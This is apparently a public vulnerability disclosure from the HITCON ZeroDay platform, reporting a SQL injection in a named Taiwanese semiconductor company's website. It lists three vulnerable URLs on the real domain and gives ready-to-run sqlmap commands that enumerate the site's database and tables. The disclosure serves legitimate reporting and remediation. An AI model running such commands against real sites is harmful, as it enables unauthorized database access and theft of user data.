Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2022-00552
- Vendor: 森美特半导体股份有限公司
- Title: 「森美特半导体股份有限公司 网站数据库注入漏洞」
- Introduction: 网站的一些子页面存在sql注入
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2022/07/31 14:30:56 : 新提交 (由 rain3 更新此狀態)
- 2022/07/31 14:35:16 : 新提交 (由 rain3 更新此狀態)
- 2022/07/31 14:37:21 : 新提交 (由 rain3 更新此狀態)
- 2022/07/31 14:39:02 : 新提交 (由 rain3 更新此狀態)
- 2022/07/31 14:40:21 : 新提交 (由 rain3 更新此狀態)
- 2022/07/31 14:41:28 : 新提交 (由 rain3 更新此狀態)
- 2022/07/31 14:42:04 : 新提交 (由 rain3 更新此狀態)
- 2022/07/31 14:42:30 : 新提交 (由 rain3 更新此狀態)
- 2022/07/31 14:42:55 : 新提交 (由 rain3 更新此狀態)
- 2022/07/31 14:43:23 : 新提交 (由 rain3 更新此狀態)
- 2022/07/31 14:43:49 : 新提交 (由 rain3 更新此狀態)
- 2022/07/31 14:44:22 : 新提交 (由 rain3 更新此狀態)
- 2022/07/31 14:44:58 : 新提交 (由 rain3 更新此狀態)
- 2022/08/01 08:54:32 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/08/01 15:56:22 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/08/01 15:56:22 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/08/01 15:56:22 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2022/09/30 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2022-00552
- 通報者:jlzx (rain3)
- 風險:高
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
相關網址
http://sunmate.tw/tw/application/index1.php?id=10
http://sunmate.tw/tw/products/pro.php?tid=125&sid=16
敘述
森美特半导体股份有限公司官网漏洞
漏洞类型
-
SQL注入漏洞
重现漏洞方式
漏洞发现
-
网站1:http://sunmate.tw/tw/info/?id=9
- 当在id=9后加上单引号时,即http://sunmate.tw/tw/info/?id=9',会出现mysql数据库报错,并且直接将报错信息反馈在该网页上。如下图图1-1所示:

图1-1
- 网站2:http://sunmate.tw/tw/application/index1.php?id=10
- 当在id=10后加上单引号时,即http://sunmate.tw/tw/application/index1.php?id=10',会出现mysql数据库报错,并且直接将报错信息反馈在该网页上。如下图图1-2所示:

图1-2
- 网站3:http://sunmate.tw/tw/products/pro.php?tid=125&sid=16
- 当在sid=16后加上一个单引号,即http://sunmate.tw/tw/products/pro.php?tid=125&sid=16',会出现mysql数据库报错,并且直接将报错信息反馈在该网页上。如下图图1-3所示:

图1-3
漏洞挖掘
验证漏洞
- 在手工测试存在SQL注入后,利用工具sqlmap再次进行测试,这里url选择的是网站3
- 执行语句:sqlmap -u 'http://sunmate.tw/tw/products/pro.php?tid=125&sid=16' --skip-static --level=5 --risk=3 --technique=EUSTQ --threads=3 --tamper=schemasplit.py --random-agent,测试结果如图图2-1所示:

图2-1
-
通过测试结果发现确实存在SQL注入,并且为注入类型为:报错注入和联合注入
获取数据库名
-
在上一步测试中,发现确实存在SQL注入后,进行更深层次的挖掘
-
执行语句:sqlmap -u 'http://sunmate.tw/tw/products/pro.php?tid=125&sid=16' --skip-static --level=5 --risk=3 --technique=EUSTQ --threads=3 --tamper=schemasplit.py --random-agent --dbs,测试结果如图图2-2所示:

图2-2
-
数据库名被爆破出来,sunmate
获取数据库中的表名
-
在获取数据库名后,本着验证该数据库漏洞的危险等级,进行了更深入的挖掘
-
执行命令:sqlmap -u 'http://sunmate.tw/tw/products/pro.php?tid=125&sid=16' --skip-static --level=5 --risk=3 --technique=EUSTQ --threads=3 --tamper=schemasplit.py --random-agent --dbs --tables -D sunmate,测试结果如图图2-3所示:

图2-3
-
sunmate数据库中有28张表,其中发现一些含有敏感信息的表名,如ry_userinfo,ry_email,ry_products等
-
测试到此为止,不再深入挖掘数据库信息,验证已经存在高危漏洞
影响
-
敏感信息泄露,如用户信息,产品信息等
-
攻击者通过sql注入控制数据库服务器中所有的数据,进行任意篡改。严重情况下可能通过SQL注入对服务器进行提权,进而拿下整台服务器。
修補建議
购买网站waf提供防护,代码执行使用预编译,过滤掉sql语句关键字。